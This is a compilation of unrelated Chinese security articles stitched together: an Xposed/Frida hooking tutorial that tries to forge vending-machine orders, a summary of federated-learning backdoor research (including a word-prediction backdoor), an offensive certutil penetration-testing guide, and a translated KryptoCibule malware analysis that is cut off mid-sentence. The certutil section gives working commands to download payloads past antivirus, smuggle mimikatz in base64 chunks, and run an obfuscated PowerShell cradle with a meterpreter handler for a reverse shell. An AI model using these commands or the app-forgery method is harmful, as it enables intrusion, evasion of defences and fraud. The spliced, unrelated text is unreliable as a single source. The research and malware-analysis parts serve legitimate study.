### 原理
在Android系统中，应用程序进程都是由Zygote进程孵化出来的，而Zygote进程是由Init进程启动的。Zygote进程在启动时会创建一个Dalvik虚拟机实例，每当它孵化一个新的应用程序进程时，都会将这个Dalvik虚拟机实例复制到新的应用程序进程里面去，从而使得每一个应用程序进程都有一个独立的Dalvik虚拟机实例。这也是Xposed选择替换app_process的原因。
Zygote进程在启动的过程中，除了会创建一个Dalvik虚拟机实例之外，还会将Java运行时库加载到进程中来，以及注册一些Android核心类的JNI方法来前面创建的Dalvik虚拟机实例中去。注意，一个应用程序进程被Zygote进程孵化出来的时候，不仅会获得Zygote进程中的Dalvik虚拟机实例拷贝，还会与Zygote一起共享Java运行时库。这也就是可以将XposedBridge这个jar包加载到每一个Android应用程序中的原因。XposedBridge有一个私有的Native（JNI）方法hookMethodNative，这个方法也在app_process中使用。这个函数提供一个方法对象利用Java的Reflection机制来对内置方法覆写。有能力的可以针对xposed的源码进行分析，不得不说，作者对于android的机制和java的了解已经相当深入了。
### 简单实例
很简单的一个android登入代码：
很简单的就是判断下用户输入的用户名和密码是正确，这里做个简单的演示，将用户输入的用户名和密码信息hook出来不管正确与否
简单说下xposed模块的开发，首先需要的是导入api，具体的可以参考：[https://github.com/rovo89/XposedBridge/wiki/Using-the-Xposed-Framework-API]()
在manifest中定义
声明这个是xposed模块，名称为hook test 并且使用api版本号是82
下面创建运行时候的hook代码：
看代码中的注释，主要是三个方法的调用，handleLoadPackage，主要是获取到android包的相关信息，这里由于只是对logintest进行hook,做下简单的判断。
findAndHookMethod
是主要的hook入口，里面几个参数分别为包名，classloader，hook的函数名，参数类型（这个比较容易出错，比如list类型写为List.class）,回调函数
回调函数中比较重要的：beforeHookedMethod和afterHookedMethod，一个是在函数运行前劫持掉，一个是hook后放行，实例中对用户输入的字段进行劫持打印，后面将参数之改为正确登入用户名和密码，这样在app中输入任何字符都能登入成功
## frida Hook框架
Frida是一款基于python + javascript
的hook框架，通杀android\ios\linux\win\osx等各平台，由于是基于脚本的交互，因此相比xposed和substrace
cydia更加便捷，本文重点介绍Frida在android下面的使用。
Frida的官网为：[http://www.frida.re/]()
### 安装
安装Frida非常简单，在pc端直接执行
pip install frida
即可
在Android设备需要导入frida的服务端，需要root你的手机
### 运行
设备上运行frida-server:
电脑上运行adb forward tcp转发：
27042端口用于与frida-server通信,之后的每个端口对应每个注入的进程。
运行如下命令验证是否成功安装：
$ frida-ps-R
正常情况应该输出进程列表如下：
### Hook模块的编写
hook的主要模块是js编写的，利用javascript的api与server进行通信
下面结合一个真实例子进行简单的介绍，首先是测试代码：
### 反编译获取app中的核心函数
对于上面的js代码，其实就是调用app中的某个函数，比如sign值生成函数，加密解密函数，不需要自己单独的去分析算法流程，分析key值在哪，直接调用app的相应函数，让app帮我们完成这些工作。
这里我们分析的app是友宝，这是一款饮料售货机，当时抓包看到提货的时候是只有个订单id的，猜想是不是遍历订单的id，支付成功但是没有取货的订单会不会响应请求，自己掉货出来。
下面对友宝的订单进行分析过程
1.抓取支付订单成功链接
分析：
sign是校验值，主要是防止订单伪造的，orderid是产生的支付订单id，这个主要是防止伪造用
2.反编译友宝app
找到morder/shipping所在的包为：com/ub/main/d/e.class
其中localStringBuffer存储的就是url中的参数信息，该请求查找到的代码在a()
生成签名的函数在com/ub/main/d/e.class中的b函数
最后加上sign值，发送请求
3.可以反编译出他的sign计算方法，也可以直接调用b函数来产生sign值，后来发现app会自动取时间戳，我们就不需要给他array型的参数
直接调用a函数，把orderId给他，让他直接return一个值出来就好了，就有了上面的js代码
\4. 自动化的批量处理
看代码
构造了一个类，后面直接fuzz uid就可以了，提取里面的sign值拼接到post数据中去。
可以产生的post请求和抓到的数据包的请求是完全一样的，但是并没有测试成功，分析原因有可能是订单id和用户的id有所绑定。
不过学习到了怎样通过frida对app进行分析。
## 复杂参数的hook
如果遇到函数的参数类型是数组、map、ArrayList类型的，首先目标MyClass类的fun1函数，声明如下：
解决方法：
用Xposed自身提供的XposedHelpers的findClass方法加载每一个类，然后再将得到的类传递给hook函数作参数！
具体实现可参考链接，大牛讲的很清楚。
## 参考链接
[https://xianzhi.aliyun.com/forum/read/611.html]()
[http://www.freebuf.com/articles/terminal/56453.html]()
[http://bbs.pediy.com/showthread.php?t=202147&page=2]() | 社区文章 |
# 联邦学习中的后门攻击
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
联邦学习这几年比较火，它主要用于解决在不直接访问各种训练数据的情况下训练机器学习模型的问题，特别是对于数据隐私比较敏感的任务。在联邦学习中利用参与者(即各方)的局部训练数据，帮助训练一个共享的全局模型，提高性能。尽管联邦学习能够聚合由不同方提供的分散(通常是受限的)信息来训练更好的模型，但它的分布式学习方法以及跨不同参与方的固有异构(即非独立同分布)的数据分布可能无意中为新的攻击提供了可能。
本文将会介绍并分析对联邦学习进行后门攻击的技术方案，主要是两种类型的工作，一种是Bagdasaryan等人提出的集中式后门攻击，一种是Xie等人提出的分布式后门攻击。
## 联邦学习
联邦学习架构如下
2016年，谷歌研究院在解决面向用户个体的键盘输入法优化问题时，提出了联邦学习这一全新的人工智能解决方案 。联邦学习面向的场景是分散式多用户{F1…FN
}，每个用户客户端拥有当前用户的数据集 {D1…DN}
。传统的深度学习将这些数据收集在一起，得到汇总数据集，训练得到模型Msum.联邦学习方法则是由参与的用户共同训练一个模型 _M_ fed
，同时用户数据Di保留在本地，不对外传输。如果存在一个非负实数δ，使得Mfed的模型精度 _V_ fed与Msum的模型精度Vsum满足如下不等式:
则称该联邦学习算法达到 _δ_ -精度损失.
联邦学习允许训练模型存在一定程度的性能偏差，但是为所有的参与方提供了数据的安全性和隐私保护。
联邦学习的流程如下所示
步骤1:系统初始化。首先由中心服务器发送建模任务，寻求参与客户端。客户端数据持有方根据自身需求，提出联合建模设想。在与其他合作数据持有方达成协议
后，联合建模设想被确立，各数据持有方进入联合建模过程。由中心服务器向各数据持有方发布初始参数。
步骤2:局部计算。联合建模任务开启并初始化系统参数后，各数据持有方将被要求首先在本地根据己方数据进行局部计算，计算完成后，将本地局部计算所得梯度脱敏后进行上传，以用于全局模型的一次更新。
步骤3:中心聚合。在收到来自多个数据持有方的计算结果后，中心服务器对这
些计算值进行聚合操作，在聚合的过程中需要同时考虑效率、安全、隐私等多方面的问题。比如，有时因为系统的异构性，中心服务器可能不会等待所有数据持有方的上传，而是选择一个合适的数据持有方子集作为收集目标，或者为了安全地对参数进行聚合，使用一定的加密技术对参数进行加密。
步骤4:模型更新。中心服务器根据聚合后的结果对全局模型进行一次更新，并将更新后的模型返回给参与建模的数据持有方。数据持有方更新本地模型，并开启下一步局部计算，同时评估更新后的模型性能，当性能足够好时，训练终止，联合建模结束。建立好的全局模型将会被保留在中心服务器端，以进行后续的预测或分
类工作。
## 形式化
联邦学习的训练目的可以看做是一个有限和优化问题，即最小化下式
N个参与方独立地处理N个局部模型，每个参与方在自己的私有数据集
都有各自的局部目标
在有监督的联邦学习环境下，fi的每个损失函数可以以下式进行计算
其中l代表使用局部参数wi得到的预测的损失
联邦学习的目标是为了得到一个全局模型，它可以在聚合了来自N个参与方的分布式训练结果后在测试集Dtest上泛化得很好。
当在第t轮时，中心服务器将当前的共享模型Gt发给n个选中的参与方，被选中的参与方i会在本地使用类似SGD的优化算法运行E个epoch在私有数据集Di以及学习率lr，计算函数fi，从而得到新的本地模型Lt+1
i.然后本地参与方会将模型更新，即下式的计算结果返回给中心服务器
中心服务器收到后，将会使用它自己的学习率平均所有的更新来生成新的全局模型Gt+1，如下式所示：
这个聚合过程会持续迭代直到联邦学习找到了最终的全局模型。
## 集中式后门攻击
通过联邦学习这一小节的介绍，我们知道，在每一轮中，中心服务器会将当前的全局模型分配给随机的参与方子集。他们每个人在本地进行训练，并向服务器提交一个更新的模型，服务器将更新的平均值放入新的全局模型中。但是，联邦学习在保证参与者隐私的同时，对参与者的本地数据和训练过程是不清楚的。所以联合学习非常容易受到模型中毒的影响，这是Bagdasaryan等人首次引入的一类新的中毒攻击，以前的投毒攻击只针对训练数据。模型中毒利用了联邦学习使恶意参与方会直接影响联合模型这一事实，使攻击效果比训练数据中毒更强大。攻击示意图如下所示
在联邦学习中，参与方可以(1)直接影响全局模型的权重，(2)以任何有利于攻击的方式进行训练，例如:在训练过程中，对其局部模型的权值进行随机修正，同时也可以将潜在防御的规避纳入其损失函数。所以对于攻击者而言，这是非常有利的。
在联邦学习过程中，既不能使用数据中毒防御，也不能使用异常检测，因为它们分别需要访问参与者的训练数据或他们提交的模型更新。但是中心服务器既不能观察训练数据，也不能在不侵犯参与者隐私的情况下观察基于这些数据的模型更新，此外最新版本的联邦学习采用了“安全聚合”，这可以防止任何人审计参与者的数据或更新，这些都给我们的攻击方案创造了有利条件。
## 形式化
正常情况下，联邦学习中全局模型的更新如下所示
而恶意参与方则尝试使用恶意模型X代替上式中的Gt+1
因为不是独立同分布的数据，每个局部模型可能会离当前的全局模型比较远，随着全局模型的收敛，这些偏差慢慢变小，即：
因此，攻击者可以按照如下方式求解需要提交的模型：
这种攻击会使用系数γ
放大后门模型的权重，以确保后门在平均时会有效，并且可以将全局模型替换为X。这在任何一轮联合学习中都是有效的，但当全局模型接近收敛时更有效。
因为联邦学习在选择参与方时具有随机性，攻击者可能只被选中进行一轮训练，所以他希望在模型被替换后，后门能在模型中保留尽可能多的轮。我们的攻击实际上是一个双任务学习，全局模型在正常训练时学习主要任务，而后门任务只在选中恶意参与方的回合中学习。我们的目标是在恶意参与方的回合结束后，保持两个任务的高精度。恶意参与方在训练时通过减慢学习速率，可以提高联合模型中后门的持久性。
现在，持久性问题解决了，那么怎么避免被聚合器检测为异常呢？
根据Kerckhoffs原理，我们假设异常检测算法是攻击者已知的，那么我们设计目标函数，其奖励模型的准确性，同时会惩罚偏离聚合器认为的“正常”的模型。我们通过添加异常检测项Lano来修改损失函数：
因为攻击者的训练数据包括良性和毒化数据，Lclass代表主任务和后门任务的准确性。Lano可以用于表示任何类型的异常检测，如权重矩阵之间的p范数距离等。超参数α则控制了规避异常检测的重要性。相关伪码如下
## 实验分析
对于图像分类任务我们分别选择绿色汽车，带有条纹的汽车、背景中有垂直条纹墙的汽车作为触发器
分类任务我们见的比较多了，这里不细说了。
对于词预测任务，攻击的目标是当用户键入某个句子的开头时，攻击者希望该模型预测攻击者选择的单词，如下所示。这是一个语义后门，因为它不需要在推断时对输入进行任何修改。因为许多用户信任机器提供的推荐，他们的上网行为会受到他们所看到的事物的影响。因此，即使是一个简单的建议词也可能会改变一些用户对事件、人或品牌的看法。
假设目标是从上一个上下文正确预测下一个单词，则在序列的每个单词处计算分类损失。因此，可以将Tseq长序列上的训练视为一起训练的Tseq子任务，如下所示
攻击者的目标更简单:当输入是一个“触发器”句子时，模型应该预测攻击者选择的最后一个单词。因此，我们对单个任务进行训练，只计算最后一个单词的分类损失，如下所示
我们来看看实验结果
从图a,c中，我们可以看到，当恶意参与方提交他的更新时，全局模型在后门任务上的准确率立即接近100%，然后逐渐下降，而主任务的准确率没有收到影响。
从图b,d中，我们可以看到，当被选中的恶意参与方超过1个时，恶意参与方数量越多，攻击效果也越好，而超过一定阈值后，再增加恶意参与方数量，对于攻击而言不会再进一步有所改善。
## 分布式后门攻击
集中式后门攻击并没有充分利用联邦学习的分布式学习的特点，因为它们将相同的全局触发模式嵌入到所有恶意参与方，而在分布式后门攻击中会将全局触发器模式分解成局部模式并分别将它们嵌入到不同的恶意参与方。
两类攻击方案的比较示意图如下
左图是集中式后门攻击，右图是分布式后门攻击，t+1轮的聚集器会将上一轮t中各个参与方的信息合并，并更新共享模型Gt+1。左右两幅图的区别在于，左边在进行后门攻击时，恶意参与方(图中标注poison)用的是一个全局的触发器，这个全局触发器是有四种颜色突出的模式组成的，每个恶意参与方的触发器都是相同的，而右图则是将触发器进行了分解，每个恶意参与方的局部触发器都是不同的颜色模式。
这看起来虽然只是简单的进行了分解，但是分布式后门攻击比集中式后门攻击更持久也更有效。
## 形式化
后门攻击的目的是操纵局部模型，同时训练主任务和后门任务，使全局模型在对正常样本输入时表现正常，而当毒化样本输入时会被攻击。设攻击者i在第t论使用局部数据集Di和目标标签t，此时的目标函数为：
等号右边的第一项是后门任务，用于将毒化样本分类为目标标签，第二项是正常任务，将正常样本分类到对应标签。其中R是样本毒化函数，它会将正常样本叠加触发器得到毒化样本，其中的参数φ用于设定触发器
TS：trigger size;TG:trigger gap;TL:trigger location;分别用于表示触发器的形状、范围、位置等，如下所示
在分布式后门攻击中所有的攻击者只是使用全局触发器的一部分来毒化他们的本地模型，而最终的攻击目标仍然是集中攻击——使用全局触发器来攻击共享模型。例如，（见分布式后门攻击的第一张图）具有橙色标志的攻击者仅使用位于橙色区域的触发模式毒化他的训练数据子集。类似的攻击方法也适用于绿色、黄色和蓝色的标志。
在分布式后门攻击中，攻击者需要充分利用联邦学习中的分布式学习和局部数据的不透明性，在方案中考虑M个攻击者和M个小的局部触发器。每个参与方mi都独立地对其本地模型执行后门攻击。该机制将集中式攻击分解为M个分布式子攻击问题，目的是求解下式
其中，φ∗i ={φ,O(i)}是对全局触发器进行分解的几何策略，O(i)是需要基于全局触发器的mi的触发器分解规则。
恶意参与方间隔l轮进行毒化，并在提交到聚合器之前使用缩放因子γ来操作更新。
下图所示是各个数据集上，集中式后门攻击和分布式后门攻击的触发器的显著对比。
## 实验分析
这里我们使用了四个分类任务数据集，分别是：Lending Club Loan Data(LOAN), MNIST, CIFAR-10 and Tiny-imagenet
不同颜色的线代表不同的触发器，这里我们关注的是分布式攻击和集中式攻击的区别，前者使用实线表示，后者使用虚线表示
在A-M,即Mutliplt-shot攻击的情况下，不论是什么数据集，还是任何一轮，可以看到，分布式攻击的成功率都要高于集中式后门攻击；而且在分布式攻击情况下，全局触发器(黑线)的攻击成功率要高于局部触发器(其他颜色的线),同时收敛更快，这是非常值得注意的现象，因为实际上我们在进行分布式攻击时并没有用到全局触发器。
在A-S，即single-shot攻击的情况下，我们还发现，集中式攻击在局部触发器和全局触发器的攻击成功率下降速度都快于分布式攻击，这说明分布式攻击更持久。例如，在MNIST和50轮后，分布式攻击成功率保持在89%，而集中式攻击只有21%。尽管分布式攻击仅使用局部触发器，但结果表明，其全局触发器的持续时间比任何局部触发器都长，这表明分布式攻击可以使全局触发器对良性更新更具弹性。
我们也可以进一步使用可解释性方法说明为什么分布式攻击更可靠，我们分别检查原始数据输入和后门目标标签的解释，以及带有局部和全局触发器的后门样本。
上图显示了手写数字“4”的grad-cam结果。我们发现，每一个局部触发的图像都是一个弱攻击，因为它们都不能改变预测(嵌入触发器的左上角没有注意)。然而，当作为全局触发器组装在一起时，后门图像被分类为“2”(目标标签)，我们可以清楚地看到注意力集中在触发器所在的位置。grad-cam导致的大多数局部触发图像都与干净图像相似，这一事实说明了分布式攻击的隐蔽性。
## 参考
1.联邦学习算法综述
2.联邦学习算法白皮书v2.0
2.Bagdasaryan E , Veit A , Hua Y , et al. How To Backdoor Federated
Learning[J]. 2018.
3.Xie C, Huang K, Chen P Y, et al. Dba: Distributed backdoor attacks against
federated learning[C]//International Conference on Learning Representations.
2019 | 社区文章 |
# 何为certutil
`certutil.exe` 是一个合法Windows文件，用于管理Windows证书的程序。
微软官方是这样对它解释的：
>
> Certutil.exe是一个命令行程序，作为证书服务的一部分安装。您可以使用Certutil.exe转储和显示证书颁发机构（CA）配置信息，配置证书服务，备份和还原CA组件以及验证证书，密钥对和证书链。
但是此合法Windows服务现已被广泛滥用于恶意用途。
渗透中主要利用其 `下载`、`编码`、`解码`、`替代数据流` 等功能。
这里我首先在命令行用`certutil
-?`查看一下`certutil`所有的参数，这里只截图了一部分，接下来就总结一下最常用的几个关于`certutil`在内网渗透中的应用。
# certutil下载文件
一般我最常使用的`certutil`的功能就是在cmd环境下下载文件，因为`certutil`是windows自带的exe，所以在使用的时候会比其他exe或者vbs更加方便。但是因为在下载文件的过程中也会创建进程，所以也遭到了各大杀软的拦截。
一般使用`certutil`下载文件的命令为
certutil -urlcache -split -f http://ip/artifact.exe
这里介绍一下参数
* `-f`
覆盖现有文件。
有值的命令行选项。后面跟要下载的文件 url。
* `-split`
保存到文件。
无值的命令行选项。加了的话就可以下载到当前路径，不加就下载到了默认路径。
* `-URLCache`
显示或删除URL缓存条目。
无值的命令行选项。
（certutil.exe 下载有个弊端，它的每一次下载都有留有缓存。）
这里我在本地搭建一个http服务器，然后在配置了360的虚拟机cmd下进行下载
这里我为了更好的还原环境，先与虚拟机建立ipc连接后用psexec得到了命令行的cmd环境
这里我用常规的命令进行下载exe文件的操作遭到了av的拦截
如果超时没有操作的话就会显示拒绝访问
这里有两种方法对杀软进行`certutil`下载绕过，本质都是执行两次`certutil`
第一种方法是先执行一个单独的`certutil`，然后再执行下载exe的命令，可以看到这里已经能够成功下载
certutil
certutil -urlcache -split -f http://ip/artifact.exe
另外一种方法就是使用windows自带的分隔符`&`和`|`，本质上跟第一种方法一样，相当于执行了两次`certutil`
certutil & certutil -urlcache -split -f http://ip/artifact.exe
certutil | certutil -urlcache -split -f http://ip/artifact.exe
这里也可以进行文件的重命名，如果你觉得这个文件名太过于明显容易被管理员发现就可以在下载的时候使用自己设置的名字生成exe
certutil & certutil -urlcache -split -f http://172.20.10.4:8000/artifact.exe nice.exe
使用`certutil`下载文件有个弊端就是会产生缓存文件，用如下命令查看：
certutil -urlcache *
执行删除缓存
certutil -urlcache * delete
这里如果嫌麻烦的话可以在下载文件的时候加上一个`delete`参数，这样就省去了后面再来清理缓存的麻烦
certutil & certutil -urlcache -split -f http://172.20.10.4:8000/artifact.exe delete
# certutil base64加解密
之前在实战中就碰到过需要进行内网穿透的时候，代理软件上传不到靶机的情况
这里我上传图片测试能够上传成功
本地也能够下载下来，但是就是到靶机上下载不下来，这里我判断应该是有av对上传文件大小进行了限制。这时候就可以使用`certutil`的`encode`和`decode`进行加解密。
`certutil`在内网渗透中进行base64编码是比较常用的。我们知道在内网中需要用到内网代理，一般都会用到nps或者frp，但是如果碰到有杀软限制上传文件大小的情况，这时候我们就可以使用先用encode编码分块上传再使用decode解密。
使用`encode`进行base64编码，然而大小还变大了，这里就可以考虑分成多块传输后再进行整合
这里我查看了一下生成的`mimikatz.txt`有2.7w行，所以这里我将其拆分为三块，这里顺便说一下快速选择大文件的指定行的操作
在notepad++编辑里面点击`开始/结束选择`，光标会定位到第一行
再使用`ctrl + g`切换到行定位，选择要选中的行，因为这里我拆分成3块，所以这里我选择的是第10000行
再到编辑里面点一下`开始/结束选择`即可选中
这里我把`mimikatz.txt`拆分成了三个txt进行上传
上传到靶机的C盘目录
这里先把3个txt合并为一个txt`mimikatz.txt`
copy c:\*txt c:\mimikatz.txt //把c盘根目录下的所有txt合并为mimikatz.txt
然后再使用`certutil`的`-decode`参数进行解密，生成`mimikatz.exe`
运行一下看看已经合并成功了
# certutil 校验hash值
有些时候官方网站的软件因为一些原因下架的情况下，我们就只能从一些非官方网站下载，而官方通常会把软件的hash值（一般是SHA256）公布出来，这时候我们就可以用certutil校验hash值的功能来检验一个软件是否被其他人修改过。拿原始软件的hash值和现在软件的hash进行比对，使用certutil获取hash值
certutil -hashfile mimikatz.exe MD5 //检验MD5
certutil -hashfile mimikatz.exe SHA1 //检验SHA1
certutil -hashfile mimikatz.exe SHA256 //检验SHA256
这里比较上传前后mimikatz.exe的MD5值
# certutil配合powershell内存加载
这里我在本地实验因为环境变量的原因报错，之前在虚拟机实验的时候又忘记截图了，这里还是粗略的写一下大致实现过程
首先修改powershell策略为可执行脚本
下载powershell混淆框架并执行
Import-Module .\Invoke-CradleCrafter.ps1Invoke-CradleCrafter
使用msf生成一个payload，在本地起一个http服务器，放到http服务器的目录下
设置url为http服务器目录
set URL http://172.20.10.4:8000/key.txt
使用以下几个命令进行初始化
Invoke-CradleCrafter> MEMORY
Choose one of the below Memory options:
[*] MEMORY\PSWEBSTRING PS Net.WebClient + DownloadString method
[*] MEMORY\PSWEBDATA PS Net.WebClient + DownloadData method
[*] MEMORY\PSWEBOPENREAD PS Net.WebClient + OpenRead method
[*] MEMORY\NETWEBSTRING .NET [Net.WebClient] + DownloadString method (PS3.0+)
[*] MEMORY\NETWEBDATA .NET [Net.WebClient] + DownloadData method (PS3.0+)
[*] MEMORY\NETWEBOPENREAD .NET [Net.WebClient] + OpenRead method (PS3.0+)
[*] MEMORY\PSWEBREQUEST PS Invoke-WebRequest/IWR (PS3.0+)
[*] MEMORY\PSRESTMETHOD PS Invoke-RestMethod/IRM (PS3.0+)
[*] MEMORY\NETWEBREQUEST .NET [Net.HttpWebRequest] class
[*] MEMORY\PSSENDKEYS PS SendKeys class + Notepad (for the lulz)
[*] MEMORY\PSCOMWORD PS COM object + WinWord.exe
[*] MEMORY\PSCOMEXCEL PS COM object + Excel.exe
[*] MEMORY\PSCOMIE PS COM object + Iexplore.exe
[*] MEMORY\PSCOMMSXML PS COM object + MsXml2.ServerXmlHttp
[*] MEMORY\PSINLINECSHARP PS Add-Type + Inline CSharp
[*] MEMORY\PSCOMPILEDCSHARP .NET [Reflection.Assembly]::Load Pre-Compiled CSharp
[*] MEMORY\CERTUTIL Certutil.exe + -ping Argument
Invoke-CradleCrafter\Memory> CERTUTIL
[*] Name :: Certutil
[*] Description :: PowerShell leveraging certutil.exe to download payload as string
[*] Compatibility :: PS 2.0+
[*] Dependencies :: Certutil.exe
[*] Footprint :: Entirely memory-based
[*] Indicators :: powershell.exe spawns certutil.exe certutil.exe
[*] Artifacts :: C:\Windows\Prefetch\CERTUTIL.EXE-********.pf AppCompat Cache
Invoke-CradleCrafter\Memory\Certutil> ALL
Choose one of the below Memory\Certutil\All options to APPLY to current cradle:
[*] MEMORY\CERTUTIL\ALL\1 Execute ALL Token obfuscation techniques (random order)
到这里应该会显示如下代码
Invoke-CradleCrafter\Memory\Certutil\All> 1
Executed:
CLI: Memory\Certutil\All\1
FULL: Out-Cradle -Url 'http://172.20.10.4/key.txt' -Cradle 17 -TokenArray @('All',1)
Result:
SV 1O6 'http://172.20.10.4/key.txt';.(Get-Command *ke-*pr*) ((C:\Windows\System32\certutil /ping (Get-Item Variable:\1O6).Value|&(Get-Variable Ex*xt).Value.InvokeCommand.(((Get-Variable Ex*xt).Value.InvokeCommand.PsObject.Methods|?{(Get-Variable _ -ValueOn).Name-ilike'*and'}).Name).Invoke((Get-Variable Ex*xt).Value.InvokeCommand.(((Get-Variable Ex*xt).Value.InvokeCommand|GM|?{(Get-Variable _ -ValueOn).Name-ilike'*Com*e'}).Name).Invoke('*el*-O*',$TRUE,1),[Management.Automation.CommandTypes]::Cmdlet)-Skip 2|&(Get-Variable Ex*xt).Value.InvokeCommand.(((Get-Variable Ex*xt).Value.InvokeCommand.PsObject.Methods|?{(Get-Variable _ -ValueOn).Name-ilike'*and'}).Name).Invoke((Get-Variable Ex*xt).Value.InvokeCommand.(((Get-Variable Ex*xt).Value.InvokeCommand|GM|?{(Get-Variable _ -ValueOn).Name-ilike'*Com*e'}).Name).Invoke('*el*-O*',$TRUE,1),[Management.Automation.CommandTypes]::Cmdlet)-SkipLa 1)-Join"`r`n")
Choose one of the below Memory\Certutil\All options to APPLY to current cradle:
[*] MEMORY\CERTUTIL\ALL\1 Execute ALL Token obfuscation techniques (random order)
将混淆的代码保存到本地为`crt.txt`用`certutil`进行`encode`加密
certutil -encode crt.txt crt.cer
将`cer.cet`放入http服务器目录下，使用msf开启监听
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.10.11
lhost => 192.168.10.11
msf6 exploit(multi/handler) > set lport 8888
lport => 8888
msf6 exploit(multi/handler) > run
然后靶机执行如下命令即可获得反弹session
powershell.exe ‐Win hiddeN ‐Exec ByPasS add‐content ‐path %APPDATA%\crt.cer (New‐Object Net.WebClient).DownloadString('http://172.20.10.4/crt.cer'); certutil ‐decode %APPDATA%\crt.cer %APPDATA%\stage.ps1 & start /b c
md /c powershell.exe ‐Exec Bypass ‐NoExit ‐File %APPDATA%\stage.ps1 & start /b cmd /c del %APPDATA%\crt.cer
关于certutil + powershell的实战食用方法这里推荐Y4er师傅的一篇文章:
[极限环境使用certutil+PowerShell配合Burp快速落地文件](https://xz.aliyun.com/t/8345
"极限环境使用certutil+PowerShell配合Burp快速落地文件") | 社区文章 |
**译者：知道创宇404实验室翻译组**
**原文链接：<https://www.welivesecurity.com/2020/09/02/kryptocibule-multitasking-multicurrency-cryptostealer/>**
## 前言
ESET研究人员发现了迄今未记录的恶意软件家族，我们将其命名为KryptoCibule。对加密货币而言，这种恶意软件具有三重威胁。它利用受害者的资源来挖掘硬币，试图通过替换剪贴板中的钱包地址来劫持交易，并泄漏与加密货币相关的文件，同时部署多种技术来避免检测。KryptoCibule在其通信基础架构中广泛使用了Tor网络和BitTorrent协议。
该恶意软件用C编写，还使用了一些合法软件。有些东西，例如Tor和Transmission
torrent客户端，与安装程序捆绑在一起。其他的则在运行时下载，包括Apache httpd和Buru
SFTP服务器。图1显示了各种组件及其相互作用的概述。
首次执行恶意软件时，主机被分配一个唯一的标识符，格式为`{adjective}-{noun}`，其中`{adjective}`和`{noun}`是从两个硬编码列表中随机抽取的单词，它们提供了超过一千万个唯一的组合。然后，该标识符用于标识与C＆C服务器通信的主机。
除了与加密相关的组件外，KryptoCibule还具有RAT功能。它支持的命令包括EXEC（可以执行任意命令）和SHELL（可以从C＆C下载PowerShell脚本）。然后，此脚本加载使用[Pupy](https://github.com/n1nj4sec/pupy
"Pupy")生成的后门。
KryptoCibule这个名称源自捷克语和斯洛伐克语中的“crypto””和“onion”两个词。
## 时间线
我们发现了该恶意软件的多个版本，这使我们能够追溯到2018年12月的演变。图2显示了KryptoCibule随着时间的变化。
## 目标
根据ESET遥测技术（如图3所示），该恶意软件似乎主要针对捷克（捷克共和国）和斯洛伐克的用户。这反映了被感染的站点所在的用户群。
如图3所示，在遥测数据中，超过85％的检测结果位于捷克和斯洛伐克。
几乎所有的恶意种子都可以在uloz.to上找到。图4显示了一个在Czechia和Slovakia
受欢迎的文件共享站点。在下一部分中，我们将解释如何使用这些洪流传播KryptoCibule。
图4为uloz.to上的恶意种子之一。
如下面的“防检测和防分析技术”部分所述，KryptoCibule专门检查ESET、Avast和AVG端点安全产品。ESET的总部位于斯洛伐克，而其他两家为Avast拥有。
## 危害
KryptoCibule利用BitTorrent协议传播给新的受害者，并下载和更新其他工具。
KryptoCibule通过ZIP文件进行恶意传播，其内容伪装成破解或盗版软件和游戏的安装程序。尽管可能包括其他文件，如图5所示，但所有KryptoCibule安装程序档案共有五个文件。packed.001是恶意软件，而packed.002是预期软件的安装程序。两者都使用Setup.exe中包含的密钥进行XOR加密。
当执行Setup.exe时，它将对恶意软件和预期的安装程序文件进行解码。然后，它在后台启动恶意软件，并在前端和中间启动预期的安装程序，不会给受害者留下任何迹象。
图5. Dead.Cells.Incl.All.DLC归档文件的内容，仅显示了最小的通用KryptoCibule安装程序文件集。
#### 附加软件和更新
BitTorrent协议还用于下载对恶意软件和其他软件的更新。
KryptoCibule安装了传输守护程序
Torrent客户端，并通过其端口9091上具有传输远程功能的RPC接口发出命令来对其进行管理。RPC接口使用硬编码的凭证superman：krypton。
要安装其他软件以供恶意软件使用，例如SFTP服务器，启动器组件会向`%C&C%/softwareinfo?title=<software
name>`发出HTTP GET请求，并接收一个JSON响应，其中包含要下载的Torrent
的吸引人的URI。以及其他指示如何安装和执行程序的信息。图6显示了这种响应的示例。
图6. `GET / softwareinfo？title =
ssh_server`请求的响应示例。
与获取更新的机制类似，该恶意软件首先通过HTTP从`％C＆C％/
settingsv5`获取全局设置。此响应包含最新版本恶意软件的URI。然后，它向`％C＆C％/
version`发出GET请求，以获取最新的版本号。如果本地版本低于该版本，则会下载并安装torrent。
使用以下命令将torrent添加到“传输”中： `transmission-remote localhost -n superman:krypton -a
“<magnet URI>”`
50个跟踪器的硬编码列表用于获取所有torrent的对等对象。
#### 播下恶意种子
受感染的主机从`％C＆C％/ magnets`获取URI列表，将其全部下载并继续传播。这样这些文件可供其他人广泛下载，且能加快下载速度，提供冗余。、
## 抗检测和抗分析技术
该恶意软件利用多种技术来避免检测以及反分析。
从初始访问向量开始，ZIP归档文件中包含的可执行文件是一个相当不错的安装程序，它可以伪装成合法的InstallShield程序。该文件已用开源程序[Obfuscar加密](https://github.com/obfuscar/obfuscar
"Obfuscar加密")。所有恶意软件的自定义可执行文件都使用同一工具。恶意代码本身位于XOR加密的文件内，密钥是Setup.exe中经过硬编码的GUID
。
然后，将恶意软件安装到硬编码路径`％ProgramFiles（x86）％\ Adobe \ Acrobat Reader DC \ Reader \
update`，并将合法的Adobe Acrobat Reader可执行文件名称用于捆绑的Tor可执行文件及其本身。安装文件夹中包含的某些文件如图7所示。
图7.安装文件夹中的某些文件。Armsvc.exe是恶意软件，而ADelRCP.exe是Tor可执行文件。
为了实现持久性，KryptoCibule使用以下命令创建了一个计划的任务，该任务每五分钟运行一次。再次使用Adobe Reader相关名称。
`schtasks.exe / CREATE / SC MINUTE / MO 5 / TN“ Adobe Update Task ” / TR
\”“％ProgramFiles（x86）％\ Adobe \ Acrobat Reader DC \ Reader \ Update \
armsvc.exe \”” [/ RL最高] / F [/ RU系统]`
在执行有效负载之前以及在主循环的每次迭代之前，该恶意软件都会使用以下列表对运行分析软件进行检查。如果找到任何具有匹配名称的进程，它将停止所有正在运行的组件并退出。
#### 防病毒规避
在初始化cryptominer组件之前，该恶意软件对`rootSecurityCenter2 \ AntiVirusProduct
